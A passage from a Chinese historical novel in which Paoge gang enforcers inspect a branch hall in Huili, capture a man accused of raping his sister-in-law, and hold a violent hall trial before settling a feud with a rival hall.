有的分堂则是快散架了,只留了那么几个骨干勉励支撑,排位都凑不齐,这种总堂便只需要派一个管事去,大家别的别说了,先想办法发展自身吧。
这一类堂口,反倒是什么鸡毛蒜皮和流血冲突都有。
邢五爷总是一副懒散不想上工的样子,走到任何一个分堂都是以下几种流程:
犯小错的,有的“挂黑牌”——即把犯错人的姓名和犯的错误白纸黑字写了贴墙上;
有的“开茶钱”——如酒后骂人打人就得请当事人喝茶,或设酒宴道歉,无意冒犯妇女还得去挂红放火炮;
若是遇到有子女不孝的,邢五便直接到子女家中,把子女抓去跪下,听老人讲原委。
若是真的子女忤逆凶悍,便要讲道理,讲通了的便让子女磕“转转头”——即向父母和来协调的人都磕头;若是子女不悔改,那便把子女给逐出堂口。
周立行也见到过有的过错本在父母,但闹到堂口,堂口却更袒护父母的,他不明白为何要如此。
对此,邢五是这样回答的:
“一个人连生养他的父母的话都不听,还能真听老大的?不孝的人不会忠心,更不会有什么义气。这种人,早晚是要翻翘的。”
对此,周立行不置可否,毕竟他没爹没妈,黑老鸹死了,方大哥要走了,没有什么家庭烦恼。
遇到属于内部人士之间的冲突纠纷,邢五把分堂的当家喊上,一起开个茶馆评理会,让堂口的兄弟姊妹们一起来。
大家听闹矛盾的双方都讲一讲原委,若是大家都认为错的是哪一方,哪方就得交茶钱。
若是双方各有曲直,互不认输,邢五便做主,让当家的把茶钱给了,再告诉大家:
“梁山兄弟不打不亲,袍哥兄弟不讲不明;哪里说了哪里丢,哪里讲明哪里休。今天个事情就算说明了,就当是过去了,以后大家都不要再提。”
这般和稀泥地一说,闹矛盾的双方便只能打落牙齿和血吞,认了互不追究。
这时候邢五再让当家的从堂口出一笔钱去私下安抚双方,至于怎么分配,就让当家看着办,并告知要是办不好,你就别当家了,换人!
出卖堂口机密、背叛堂口导致有兄弟姊妹死亡的,那就必须得死。对逆伦□□、虐待打杀父母的,那就是五花大绑加上石头一起“沉水”没商量了。
就这么走一处,巡查一处,邢五爷带着几人耍耍哒哒地游山玩水,一路走过到达会理。
*
会理县扼川滇要冲,自古以来是川西南与滇西以及南亚商贸往周转之中低,有“川滇锁钥”的美称。
此地西汉时便建县,会理古城始建于元末明初,有着御敌的厚重古城墙,自古以来是一个军事重地。
这里川军来过,滇军也来过,有土司,有夷汉情仇,打打杀杀多年,势力混乱,常年匪患。
上百土匪杀人越货之事常有,以至当地民众不得不结社自保,外地商旅也经常要请当地的袍哥会社协助运货,不然随便劫匪、恶霸、军阀中任何一样,都能然他们人财两空。
邢五爷带着周立行等人骑着骡子进城,按着堂口给的资料,走过那经年岁月的街巷,远远地就看着,两拨人正在分堂门外打群架!
有拿刀的,有拿棍棒的,地上已经躺着七八个呻吟的人了,剩下的人已经斗成一团。
好家伙!邢五整个人都精神了,这是遇到别的堂口来自家分堂踢馆子了啊!
这两拨人穿着差不多,周立行也不认识这边的人,一时间不知道怎么分敌我。
“五爷?怎么办?该打哪个?”
周立行问的,也是其它两个兄弟想问的。
邢五爷脸皮一抽,杀气毕露,“管他龟儿的哪个,全部放翻!”
周立行走了一路,背上一直背着堂口统一发放的漆红包铁长棍,专用来干架打人!闻言他立即抽出长棍,虎虎生风地挥了过去。
剩下那三位兄弟,也是堂内好手,一个喜好苗刀,一个擅长矛,都是长兵器,两人亦是不分敌我,一声不吭直入战局!
所谓调停,最有效方式,就是把混战所有人都打趴下!
这两拨人打的正酣,突然不知从何处冲上来三个好手,简直是神兵下凡一般,先打拿刀的,再不分青红皂白见人就锤。
那苗刀隔得多远就削人拿刀的手,那包铁红棍和长矛横扫一大片,尤其是那看起来年岁最小的少年,一棍出去要听见好几人骨骼碎裂的声音。
双方都不知道入场的是何方神圣,明明来的只有四个人,却如同猛虎入狼群,明显都是武术高手!
这下一来,双方在各自被打翻七八人以后,不约而同地选择了停手。
“何方来人!请报堂口名号!”其中一方的人似是领头人,他一挥手,身边的人便退出了战场,同时拉回自己的伙伴。
另一方的人也赶紧撤回,双方各站一边,把周立行等人留在了中间。
邢五爷慢慢蹬蹬地走到中间,向双方比了个五岳登顶的手势。
“成都忠义堂,邢五,奉龙头大爷之令,携刑纲四人巡视忠义会理分堂。”
这下,没吱声的那边喜极而泣!
“总堂来人了!”
“五爷!他们的德兴堂的太欺负人了!”
对面那波人愣了下,为首那人反应贼快,二话不说转身就走,呼啦啦地一群人携伤背弱,瞬间走得干干净净。
*
把倒在自家门口的自己人都扶回了堂口,分堂的堂主齐高杰肿着半边脸,一边吩咐人员去请大夫,一边请邢五爷等人上座。
邢五爷入了座,没急着询问发生了什么,而是安排周立行去帮着看看受伤的兄弟。
周立行在学驾驶期间,统一接受了四川省公路局的培训,其中就包括了一部分医务知识,加之他会武术,简单的脱臼和断骨包扎也是很熟练。
周立行点头应下,去帮了一圈忙,齐高杰也是跟着去的,两人把后续事情安排处理好,才一起回到正堂。
齐高杰这才腾出空,一边热敷半边青肿的脸,一边讲了这两个堂口的恩怨。
“五爷,会理这边的分堂,前身是黑老辈子早年的故旧办的堂口,但其子侄都不适合江湖打杀,这堂口早就门庭败落。”
“上回黑老辈子的葬礼,其子侄恰好都在成都,便循着这点交情,将这小堂口合并到了忠义堂,他们收了一笔钱继续读书去了。”
周立行听方结义说过,方结义看中的事会理这个特殊的地理位置,他正好有一条走货的路线在这边,这边能设分堂,对总堂的稳定发展十分有帮助。
“会理这里常年战乱,大家打来打去的,又有夷族混居,真呢是鱼龙混杂,堂口间矛盾也多……”
“我们外地人来接手堂口,本地的袍哥们,自然是要来称哈重量。”
称哈重量,也就是掂量掂量实力如何。
邢五爷明白,要是忠义堂旁边突然出现个其他地方来的堂口,他们一样是要上门找找茬,非得分出个大小王不可的。
齐高杰此人也曾是总堂里的厉害人物,算账、打架、接人待物都可以,才会被派到情况复杂的地方当分堂主。
但此刻他确实愁容满面,主要是麻烦事太多了。
“今天跟我们打的,是德兴堂。他们和这边素有旧怨……”
德兴堂是本地的大堂口,曾有一成员酒后和这边堂
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口的袍哥吵架。
德兴堂的成员因仗势自己堂口大、兄弟多,骂不过便上来群殴,最后活生生将这边的袍哥裹着棉被点火烧死。
如此血仇,必然引发双方堂口大战!
奈何小堂口人少势薄,哪里干得赢,反而被人家打进堂口,锤翻一干人等来摆起。
小堂口莫得办法,只好抛却江湖颜面,找了官家——警察局。
当日火烧活人之事,光天化日众目睽睽,可竟无一外人敢在警察的面前作证。
警察们本就懒得管这些堂口争斗,自然是爱搭不理。
德兴堂偏袒庇护那犯事袍哥,给他钱财和宝片,竟是让他去外地逍遥快活去了。
被烧死之人的家属有冤无处申,天天在警察局门外哭嚎,却被警察们警告再来就要被打。
此时,德兴堂再出场,假惺惺地赔付家属一些钱财。
这件事虽然窝囊,但好歹是过去的事情了。
但新来的分堂主齐高杰位置还没有坐热,那受害者的遗孀便跑来哭诉。
齐高杰没说新官不理旧账,但分堂也没几个顶的起事的属下,不可能因此事再去跟德兴堂起冲突。
他也只能先安抚受害者家属,尽力先让孤儿寡母能过上好日子。
然而哪知道,上个月,那德兴堂有个死了老婆的男人,竟然跑去骚扰死者遗孀,说什么“反正你死了老公、我没了老婆,我们可以一起搭伙过日子。”
齐高杰说起来就是一肚子火,“杜嫂子是个烈性人,直接带着娃儿就跑来堂口这边住下了,拒绝得清清楚楚明明白白。”
邢五爷嘴角抽动,“那德兴堂,是来抢人?”
齐高杰一脸晦气,“是的,这是来抢第三次了。”
“那还真是锲而不舍……”邢五爷一张刻薄脸搭配阴阳怪气的口吻,显得阴森森的。
“下次再来,干脆就把人留在后院沤肥种菜吧。”
几人还在谈话,院子里又闹了起来,齐高杰闭了闭眼,怒火在胸腔里烧了几圈,最后还是勉强压了回去。
周立行听到有女子怒气蓬勃的高呼,忍不住把头往门外伸。
这时,一名绣花布包着头,衣裤装束打扮有些夷风的悍女冲了进来,她肤色偏黑,一双明亮的虎目精光四溢。
“齐堂主,你们到底抓到人没有!”
齐高杰的表情难看到就像是脸上糊了一坨屎,他痛心且无奈地回答:
“还没有!你眼瞎啊没看到堂口里那么多人被打伤了吗,这会儿哪有人手和时间去抓人!”
邢五爷端起茶杯喝茶,忍住自己不能笑。
周立行等人也看房顶的看房顶,看桌面的看桌面,假装不分敌我全部打翻的罪魁祸首不是他们。
那女子却是个愣头青,丝毫感受不到气氛的诡异,甚至专戳痛处。
“你们这个破堂口,也太没用了!打架打不赢,人也管不好!被逑死!”
齐高杰脸上一阵青一阵红,正要发怒,邢五爷发话了。
“这又是啥子事?”
那女子这才看清主座上有人,她见邢五爷一身练家子的气息,神色威严,又不熟此人,大概也猜到是外面总堂来的人,便不等齐高杰说话,主动抢答:
“我同母异父的妹妹,嫁给姓廖的一个软蛋男人。她男人的哥哥是这个破堂口的,多次□□弟媳!”
“日他龟的,袍哥人家敢干这种事,就敢自个儿三刀六洞撒!”
“我昨日来堂口告发,他龟儿的竟然连夜从堂口里跑了!”
那女子愤愤不平,“你们这破几把堂口,有锤子作用!一群饭桶,还不如吃屎的狗,狗都晓得翻山越岭去报仇,你们看哈你们,一屋子断手断脚,打又打不赢,狠又狠不得……”
“停!”邢五爷被骂的有点受不了,心跳都加快了,“立行,去了解情况,把人追回来!”
周立行猝不及防被点名,这堂口正式场合,他也是被骂不如狗的一员,只能点头,“遵令。”
39.巡分堂
那女子自称阿凉,手脚修长结实,身姿强悍,行动敏捷,像是一只在山里长大的母老虎。
她约莫十八九岁,未婚,平日里帮着来往的行商照管马匹骡子,自己养活自己。
阿凉说话有些夷族口音,因周立行是陪着她去抓人的,周立行问什么,她便答什么,直白的有些天真。
“我阿莫是凉山里的夷族,她的阿达是阿加,头人给婚配了一个呷西,所以他生下的孩子都是头人的呷西。”
阿凉和周立行一起穿行在山林里,他们两人都用布条绑着腿,走得又快又稳。
这两人像是大山的孩子,陡坡石地走起来如履平地,能从折断的树枝、踩过的青苔上辨认痕迹。
“什么是阿莫?阿加?什么是呷西?”
周立行听不懂夷族话。
“阿莫是娘,阿加是爹。”
“兹莫和诺伙是主人,曲诺是勇士和能人,阿加是仆人,呷西是奴隶。瘸子爹说过,我们和以前的你们一样,你们也是这一二十年才开始不一样的。”
阿凉耐心地解释着,“我的阿莫先是被主人配给阿加,他们生了四个孩子,我是第二个。”
“阿加死了没多久,主人把我和阿莫一起卖给了路过的行商。行商把阿莫嫁给了会理城里的一个瘸子,嗯,我那瘸子爹人还不错,把我和妹妹一起养大。”
“阿莫和瘸子爹死在了滇军进城的时候,只留下我和妹妹相依为命。”
“我是个夷人,他们都看不上我。好在妹妹嫁给了他喜欢的人……可恨的是,竟然遇到这种事情!”阿凉说得咬牙切齿,声音也忍不住大起来
“嘘!”周立行制止了阿凉的话,他闻到了空气中隐约枯枝燃烧过的味道,并且地上踩折过的青苔已经很新鲜。
阿凉也看到了一些折断没多久的树枝,她像一只豹子一般蹲趴到了地上,从腰间抽出一把匕首。
山林里少有枯枝燃烧的味道,动物可不会生火。
周立行和阿凉在战斗上颇有默契,两人眼神交汇,便分配好了方向。
周立行从左,阿凉从右,他们像是山中的动物,攀爬跳跃,迅速接近气味来源。
果不其然,这里有一堆燃烧过的灰烬。
周立行伸手拨了拨,还是温的。
“这个草木灰的厚度,现在还是温的,说明他至少在这里待过了晌午。”
周立行站起来,往四周看。
阿凉已经从旁边松动过的土里翻出来一些动物骨头。
“他半夜逃跑,肯定是早上才出的会理城,不敢从周边的大道走,怕被马儿追上,才走的山路。”
“走到这里,他应是松了一口气,猎到一只兔子,便烤来吃了,又休息了下,才继续逃跑。”
周立行认同阿凉的推测,他锁定了方向。
“他脚上应该是受了伤,所以走的不快。我们追上去,要不了多久,必然会抓到他。”
“那当然。”阿凉骄傲一笑,“我昨天告状的时候,朝他腿上踹了一脚,他腿就算没断,至少都是个骨裂。”
周立行瞥了阿凉那双大脚一眼,脑海里想着的却是虽然没缠足,但依旧穿着尖尖紧紧绣花鞋的王喜雀。
回去之后,得跟喜雀姐说,要穿这种宽大舒适的鞋子,才跑得快又能踹人!
*
果然,没过多久,周立行和阿凉便看见了拖着伤腿艰难逃命的男人。
阿凉怒吼一声,上前一个猛扑,把那男人按倒就打。
要不是周立行眼疾手快地夺了她的刀,她估计当场就能把那男人给捅城筛子!
那男人惨叫连连,不停求饶,阿凉又打又踹,全朝要害去,周立行不得已,只能强硬地把阿凉拉开。
阿凉火冒三丈,“你拉我干嘛?!你要帮他?!”
周立行算是明白齐堂主为什么那么痛苦了,这阿凉着实有点……榆木脑袋。
“我是堂口的纪纲、刑纲,他既是堂口的败类,便得活着压回去,开堂口,请关公,审清楚了再处罚。”
“你在这里杀他,只是私仇泄愤。你妹妹的夫家,到时候会不会迁怒她?”
“你杀他一个败类,只杀了一个。堂口公审,能教育一群人,有了威慑和惩戒,才能让其他人收好手脚,管好裤/裆。”
“我出的是公差,不是接的私活,我们得把人带回去。”
周立行耐心细致向阿凉解释,他一句一句,语速偏慢,口气也柔和稳定。
阿凉的怒意慢慢消退,她不是听不懂,只是有时候确实想不到那么多。并且,很多男人不愿意跟她这个夷女解释,只会鄙视或者骂她愚蠢。
“好。小兄弟,你叫什么名字?”
“周行善。”
“你抓坏人,确实是在行善积德。”阿凉认真地夸奖。
周立行见她冷静,赶紧上前把那男人逮住。
两人抓一个,那男人腿上又有伤,自知跑不掉了,只能垂头丧气地跟着往回走。
*
邢五爷也不晓得哪儿来的自信,他前脚把周立行放出去,后脚就让人开始准备开“执法堂”。
开“执法堂”,要准备大红公鸡,请关圣帝君“神判”,这种情况都是针对严重违反袍哥纪纲的。
邢五爷让齐高杰去准备开刃刀头、红披风,再取些唱戏的油彩。
齐高杰悚然一惊,“五爷……”
这是要开草坝场,要抹花脸上极刑了啊!
邢五爷皮笑肉不笑,“怎么?难不成,你以为我会打红棍?”
齐高杰尴尬地摇头,“奸/淫弟妹,此乃黑十条重罪,怎可轻饶……”
邢五爷不说话,眯眼盯着齐高杰,“你想说啥子?”
“……若是开执法堂,得廖坚的弟妹,阿芳也亲自来,当面对质……”
齐高杰有些吞吞吐吐,“刚刚有人来报,说阿芳,下午投河自尽了……”
邢五爷的脸瞬间黑了,“那此人更不能留!”
齐高杰欲言又止。
邢五爷啪地一拍桌子,指着齐高杰的鼻子开骂。
“你个日龙包,要说啥子就说,扭扭捏捏的爪子!好歹也是一个分堂的堂主了,手下出了这样的事情,拿给一个女人指着鼻子骂你就算了,还不晓得把人家女娃子安抚好!”
“自尽?我看阿凉那凶猛的样子,姐妹感情必然是好的,她妹妹会不等姐姐回去,就自尽?!”
邢五爷越想越生气,唤另一个纪纲,“唐浩子!去查!”
唐浩子还有个名号叫探耗子,擅长打探消息,他坚邢五爷发了真火,一抱拳,溜了出去。
齐高杰见状,只能摸了摸鼻子,灰溜溜地出去找人买油彩。
*
夜间,堂口灯火通明。
杀鸡取血,点香燃烛。
关圣像穿上红披风,手中青龙偃月刀换了开刃的刀头。
邢五爷脸上涂了油彩,与齐高杰上座,堂口里无论伤多重的弟兄,都给抬到了大堂里观看审讯。
周立行和阿凉一起将廖坚押上来,周立行一脚蹬在廖坚那受伤的小腿上,廖坚噗通一身跪了下去。
邢五爷端坐上位,大喝一声,“开执法堂!”
唐浩子手持一面锣,敲响一声,“上香,拜关圣真君!”
邢五爷带头上香,下面的兄弟们能动弹的纷纷跟上,不能动弹的也做上香姿势。
另外两位纪纲手持漆红包铁长棍,气沉丹田,声如洪钟,轮流唱词:
“哥老会!嗨袍哥!三把半香!”
“仁义香!忠义香!侠义香!”
“今日来把刑堂开,奉请关圣来定裁,忠义堂会理分堂,竟有袍哥犯条款!”
“红十条!”
“汉留红十条:第一要把父母孝,尊敬长者第二条;第三莫以大欺小,手足和睦第四条;第五乡邻要和好,敬让谦恭第六条;第七要把忠诚抱,行仁尚义第八条;第九上下宜分销,谨言慎行第十条!”
“黑十款!”
“出卖码头挖坑跳,红面视兄犯律条;奸/淫/妇女遭惨报,勾结敌人罪难逃;通风报信当叛苗,三刀六眼不恕饶;平素不听拜兄教,四十红棍皮肉焦;言语不慎名黜掉,亏钱粮饷自承挑!”
等两位纪纲大声将袍哥组织通用的红十条黑十款诵完,邢五爷回到位置,惊堂木一拍,朗声问道:
“堂下何人?”
“袍哥廖坚。”齐高杰回答。
“所犯何事?”
“被告奸/淫/弟妹,畏罪潜逃,被抓归堂!现请苦主上陈!”
齐高杰作请,旁边一名脸上青肿的男人被推上前。
阿凉没有见到自己的妹妹阿芳,她有些诧异,伸头左右看。
脸上青肿的男人咽了口唾沫,紧张地开口,“我是廖坚的弟弟,廖岗……我,我……我婆娘阿芳今天下午跳水自尽了……”
“她……她……她死前说……是她自己勾引大哥的……”
“大哥……大哥是冤枉的……”
“你放屁!”
阿凉猛不丁地被这几个消息撞碎了理智,谁也没看清她是怎么冲过去的,周立行也没来得及拉住她。
她一个猛扑将廖岗撞倒,手里的匕首已经割在男人的大动脉处,“你说什么疯话?啊?!阿芳明明答应了等我,她咋可能会跳河!”
“你个龟儿子!阿芳那么喜欢你!你竟然污蔑她!你该死!”
邢五爷坐在台上,不阴不阳地看了齐高杰一眼。
齐高杰垮起批脸,牙齿咬得吱呀作响,“先把人拉开!”
周立行和另外两个纪纲上前,三个武术好手一起使劲,才把这个双目赤红、几欲发狂的夷女拉开来。
“唐浩子,你说。”邢五爷咧嘴笑了,他就猜到,对方会这么说。
唐浩子出门一趟,自然是有收获的,毕竟下午才死的人,还来不及下葬或是一把火烧掉。
廖家是守着那池塘,把淹死的人捞起来送回去,丢在家外的草棚子里先放着的。
但出于他们一家人都厌恶这个搅家精,根本没人去守丧,倒是方便了唐浩子去验尸。
自杀的人,和被迫跳水的人,衣物撕扯、身上伤痕那可都不一样。
唐浩子检查完尸体,又去案发池塘周围仔细观看,那脚印,踩折的草,翻滚殴打抓掉的藤蔓叶子……这些痕迹,并未有人专门打理。
“……廖岗,阿芳应是多次从池塘里爬出来,想要逃走,却多次被人硬生生的给扔下去的。”
唐浩子有条有理地说着,说得廖岗冷汗淋漓,嘴唇颤抖。
“是谁,守在那里看着?是谁,把湿淋淋的人一次次扔回池塘?”
“是谁!回答!”
唐浩子脸上有一半的油彩,他半张脸代表了纪纲,半张脸代表了关圣。
烛火煌煌,唐浩子瞠目欲烈,一声高喝,刺得廖岗噗通一身跪了下去,嚎哭起来。
“是……是我爹逼的……他们逼阿芳的啊……我当初执意要娶阿芳,他们就不同意的……我也不想的啊……可是她要害死大哥……要害散我们家……我没动手……我站在岸边上,他们压着我……不是我害死阿芳的……”
阿凉在旁边一直想上前,周立行一直死死扣住她,她气得说不出话,口里嗬嗬地发出怒音。
他的婆娘被兄长奸/污,被家人逼死,他来到堂口污蔑亡妻,现在却又好似自己清白了一般。
周立行心中耻笑,这般懦弱又薄情的人,才是一切的元凶。
邢五爷站了起来,他抽出身上的匕首,丢到了兄弟二人面前。
“欠债还钱,杀人偿命,天经地
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义。”
“你们兄弟,一个奸/淫/弟妹,一个逼杀发妻,今日此地,必得拿一个出来偿命!”
“选吧,哪个出来三刀六洞!”
廖坚一直埋着头听,此刻抬起头,像是找到了一条活路,他双眼放光,立即指向弟弟,“该他死!”
廖岗不可置信地看向兄长,“大哥……你……”
“你婆娘勾引我的,你自己都承认了的!你啊你,你陷害兄长,逼杀发妻,你就是个畜生,你该死!”
廖坚越说越信自己,对,就是这样的,他只是一个犯了小错的人罢了,弟弟廖岗才是一切的罪魁祸首。
廖岗浑身发抖,他指着自己脸上的淤青,“这是我们爹打的,他逼我这样说的……阿芳,阿芳明明就是被你逼迫……你们,你们怎么能这样……”
廖坚脸上也全是阿凉打出来的伤,他龇牙咧嘴地回答:
“你看看你,懦弱,无能,没得逑本事……哦,现在又说是爹的错,你到底还要改多少次口?婆娘你守不倒,哥哥你救不倒,你个人想哈,你这种人,不如去死!”
“今日我们只能活一个,肯定是我活,妈老汉儿肯定也是希望我活……你呢?非要娶那个蛮子婆娘,搞得家中不宁,你今日的死,是你自己肇的!”
廖岗听着兄长冰冷的嘲讽,眼泪哗哗地流,他又是哭又是笑:
“哈哈哈……我死?!我既没有犯法,也没有犯错,我算是看白了……你算锤子当哥的,你仗势妈老汉儿喜爱,你欺负我婆娘,你现在还想我替你死……”
“我不得死!要死你死!”廖岗大梦初醒一般,青肿的脸上表情狰狞。
他们兄弟俩同时去抢地上的匕首。哥哥离得近一些,捡起来地上的匕首便向弟弟扎了过去!
毕竟哥哥是嗨袍哥的,打架拼刀子经验比弟弟丰富,他一刀戳进了弟弟的心脏,又猛地抽了出来。
“你这个懦夫,无能无志……去死!”
廖岗胸口的血迸射出去,浇了廖坚一脸,他不可置信地看着自己的胸口,再抬头的时候,脸上的泪也落到了廖坚的衣服上。
“你们一家人……你们才是一家人……我要去找我的婆娘了,我去快点,求她原谅我……”
“哥……下辈子……永不相见……”
廖坚眼前一片血红,他面无表情地用衣袖擦血,垂下眼眸,伸手接住了廖岗。
邢五爷不为所动地看着这一切,在确认廖岗胸腹没了呼吸后,他冰冷的眼眸盯上了廖坚。
廖坚被一股杀意笼罩,后颈起了一层鸡皮疙瘩,宛如凉水泼身,电光火石间,他意识到自己心急求生!犯了大忌!
一个人危急关头,连亲弟弟都能杀!这个人当袍哥,怎么可能会在关键时刻为弟兄两肋插刀?!只可能反过来插兄弟两刀!
完了……彻底完了……不,不对,还有生路!
堂口五爷,关圣像前,说话算话,他说了今日兄弟两人死一个,就不会再动手杀另一个。
他们家就两个男丁,五爷不会灭门……
周立行第一次完整地目睹开执法堂,就见到了这兄弟相残的场面,心中震撼。他手上的劲道不知不觉一松,那阿凉迅如鹰隼般窜了出去。
前面的两个纪纲经验老到,注意着阿凉,然而他们扑上前的时候,阿凉竟以迅雷不及掩耳之势,拿着自己的匕首,从廖坚背后连捅三刀!
一刀穿胸!一刀穿心!一刀穿腹!
标准的三刀,六个洞!
两名纪纲从前到后,抓住阿凉拉开时,阿凉手里的匕首还死死地攥着,拖人和拉扯的动作,带动匕首高高扬起,匕尖有一颗红红的血滴高高飞起,竟落到了关圣像的额头上。
一抹血红,仿佛关圣像开了第三只眼。
整个堂口鸦雀无声,大家都被这变故惊呆了。
邢五爷看了一眼关圣像上的血珠,又看了一眼茫然无措的周立行,再看一眼喘着粗气红着眼的阿凉,最后看一眼倒在廖岗尸体上的廖岗,嗯,没气了。
“三刀……凉。”邢五爷噫了一声,有些感叹。
眼下,烂摊子一个!
邢五爷感受到了些许头疼,但他何等人物,只琢磨了几息,便笑了。
“半把烧成一盘香,心香一瓣祝煌煌;梁山半把香何故?”
邢五爷停下话头,看向堂中诸位。
周立行脑中灵光闪过,黑老鸹的谆谆教导犹在耳边,他立刻高声接话:
“百零八将有蛟娘!”
此乃三把半香的半香词,前面三把香分别是仁义香、忠义香、侠义香,还有半把,便是这烈女香。
梁山一百零八将,亦是有蛟娘,不是娇,是蛟龙的蛟!
凶悍,勇猛,有情有义,敢爱敢恨,能拼能杀!袍哥亦有姊妹伙!
唐浩子会意,他跟另外两名纪纲使了一个眼色,两人放开了三刀凉,齐声道:
“百零八将有蛟娘!!”
齐高杰闭了闭眼,他知道,今天这事儿,如果不把阿凉纳入堂口,明日阿凉也活不了……
而廖坚这种,为了活命可以让亲弟去死的人,堂口早迟也是要除掉的。
血点关圣额,必有仗义者!
今日的仗义,竟是显在了一个女子身上,还是个夷女。
但,今日,这也是关圣收的血点,那这就是天意。
齐高杰做了个手势,他和堂下的袍哥们也齐声高喊起来:
“百零八将有蛟娘!!!”
阿凉并不知道,这代表了什么,她呆愣地看着突然喊起来的男人们,手里的匕首握的更紧了。
周立行看出了她的紧张无措,他上前轻声提醒道。
“阿凉,五爷赐你江湖名号——三刀凉。五爷保举你进堂口……姐,你报仇雪恨了,你得有个靠山。”
40.巡分堂
当夜,邢五爷走完了所有流程,他代方大爷收三刀凉入堂口。
三刀凉正式进入堂口,邢五爷看上了她勇猛刚直的性格,做主直接让她进五排,执红棍,留在分堂当刑纲。
邢五爷给阿凉安的这个江湖名号,便成了她的正式名字。
因三刀凉是夷女,会夷语,同时也成了分堂里的夷通译。
三刀凉有了这个身份,转日便成功地将妹妹阿芳的尸身接了回来,葬到了父母坟边。
有邢五爷在,齐高杰就像是有了靠山,对廖家其余人的咄咄逼人毫不客气,将事情经过一概讲明,并且表示:
“嗨袍哥,就是要讲规矩,十条十款不遵守的,去哪个堂口都说不过去!你们家廖岗,是廖建杀的,与堂口无关!廖建奸弟妹杀亲弟,天理国法,堂规人情,没一个能饶他!刑纲三刀凉杀他,合法合规,合情合理!”
而廖家剩下的人,自然是和分堂势不两立,转头就去德兴堂了。
好在邢五爷他们来的那一天,四个人打几十号人,打得双方翻叉叉,让德兴堂意识到总堂来人不好惹。
加上邢五爷一来,就散出钱财买了好多枪支弹药,还每日里都要找几个人在院坝里练枪,啪啪啪的开枪声,让左邻右舍安静如鸡。
所以,德兴堂不但没有继续来抢亲,即便是接了廖家的委托,也迟迟按着不动,似是在酝酿什么坏主意。
邢五爷正想杀德兴堂的锐气,廖家这属于是给了邢五爷一个绝佳的理由。
一堂不主二事,两个堂口可以抢地盘,可以踢馆约架甚至相互仇杀,但不能管别个堂口的内部事!
若是管了,要么大家打出高下,要么就得请更高一级的公口大爷来论理。
于是邢五爷根本不等他们有什么动作,留下周立行和另一名纪纲镇场子,他带着唐浩子和另一人直接出城走了。
会理县城,不过是一个县城,谁都知道你德兴堂是地头蛇了,邢五爷才不在这里跟你斗,他自有自己的办法。
*
三刀凉初入江湖,啥也不懂,她跟堂口的其他人不熟,便事事都去找周立行问。
“啥子公口?跟堂口不一样吗?”三刀凉很好奇。
周立行受邢五爷所托,这段时间都在教导三刀凉各类武艺。
他刚展示完一套从打金章那会儿偷师来的女子刀法,又听到三刀凉开始提问。
宛如当年黑老鸹教导周立行,此时周立行又将黑老鸹说过的一切,慢慢地告诉三刀凉。
“哥老会最初在各地的组织,是十分隐蔽的。可以称为山头、香堂、码头、公口或社。到清末的时候,一般都称呼为码头和公口了,码头靠水,公口在城。”
“公口一般分出去五个堂口,分别是仁、义、礼、智、信;也有称威、德、福、智、宣的。也有分内八堂和外八堂的……”
三刀凉掰着手指头数,左手五个,右手五个。然后两个八,得,不想数了。
“如我们忠义堂,最初便是大公口的义字堂;这个德行堂,想来应该也是大公口的德字堂。”
“后来乱世烟起,各堂独立,慢慢的又出现了许多大小不一的堂口,便各自做主了。”
“但天下大势,合久必分,分久必合。一个地域,总有些身负气运的人物,能让各堂口的舵把子们或心服口服、或忌惮避让,这种人物,会被江湖人士尊称为某某公,他能招呼管辖到的地方,统称某某公口。”
“比如成都,有上百个堂口,大家各自有军政的靠山,于是统认了四川主席刘湘是总舵把子。”
三刀凉小鸡啄米般点头,“那我们会理县,是哪个的总舵把子呢?”
周立行摸了摸下巴,“会理县的我不知道,但川康地区嘛,我们所处的区域,按以前的防区制来划分,应该是刘湘的叔叔,24军的刘文辉军长!他才是这边的总舵把子。”
三刀凉不知道军长是什么官,她只好奇,“难道他要来给咱们辩辩理?”
周立行无语,“怎么可能!”
“上面只要随便派个人来当代表,哪个堂口敢不买面子?拳头再快,能比得上枪?堂口再嚣张,能比得上军阀?”
“人家要是带机枪来,多少人够他们突突突啊!”
三刀凉没见过机枪,但也深知人跑不过子弹,她噘着嘴琢磨,突然双手一拍,“那我得学枪!”
周立行点头,“是嘛,不能光学刀!我师父说过,女人得学枪!我教你!”
这边三刀凉跟着周立行又是学武术又是学打枪,耗费的子弹让齐高杰肉痛无比,却也不好说什么。
堂口里的其他男人们,除了手脚受伤实在不灵便的,其他也跟着学起来。
邢五爷这一走,就是大半个月,等他回来的时候,竟是跟着几个穿军装的人。
德兴堂听了消息,大惊失色,再一打听,是24军来了个中校参谋,要开看他们两个堂口开生死场!
德兴堂这下坐不住了,赶紧备上金银,想要去找这个中校参谋问问究竟。
哪知那参谋根本不见,只让随行人员出来讲了原委。
“既是德兴堂想要管忠义堂的事,那就按规矩,生死场一事一开,了完事情,大家握手言和。不然,那就两个堂口一起收了。”
收了的意思,其实就是,灭了。
德兴堂的舵把子,做梦都没想到忠义堂能有这么大能量,竟能请动刘文辉的人,真的是肠子都悔青了。
24军已经派人当代表,这边生死场不得不开,德兴堂的舵把子回去点了一圈人,结果大家都怂了。
生死场,一对一,打死才结束!
忠义堂派来的那几个刑纲纪纲,都是武林高手!他们见识过了,便谁也不愿意去送死!
德兴堂舵把子怒了,直接点了两个人,一个是闹着要娶别人遗孀的,一个是引荐廖家人来的。
“你们惹的事你们去了结,要是打生死场,死在台上不连累堂口,堂口会负责照顾你们的妻儿老小;要么就绑了你们,送去忠义堂仍由他们发落!”
德兴堂舵把子咬着牙,对这两人下了死令。
结果显而易见,这两个人都表示,还是被绑着去忠义堂吧……哭得惨一点,求饶真诚一点,或许还能有一条生路。
上了生死场,那才是死路一条!
于是,德兴堂敲锣打鼓地把这两个人绑起来,送到了分堂门外,让他们跪着求饶,着实是给足了分堂面子。
邢五爷这才皮笑肉不笑地带着齐高杰出来,将德兴堂的人带进去,然后慢慢谈各种后续。
比如这两个人可以不杀,但必须受罚;比如当初火烧杀人的那个袍哥,必须抓回来处死;比如德兴堂必须开堂会,谨遵十条十款,除掉败类杀鸡儆猴;比如约法三章,之后的生意大家怎么做……
周立行这番算是开了眼界,起初他以为,肯定还要和德兴堂打一架猛的,后来他又以为真的要开生死场,结果齐高杰头痛这么久的事情,竟然就这般笑里藏刀地握手言和了。
事情处理完,临行前的那个晚上,分堂办了宴席,给邢五爷等人送行。
周立行端着酒去敬邢五爷,然后挨挨蹭蹭地坐在旁边,请教邢五爷是怎么请来的人。
邢五爷摇着头,“你这么聪明,你猜猜?”
周立行沉默了一会儿,“因为方大哥,在准备出川?”
邢五爷缓缓叹了一口气,“赴国难啊……他,是个人物。他的宝片,大人物们也是要给几分薄面的。”
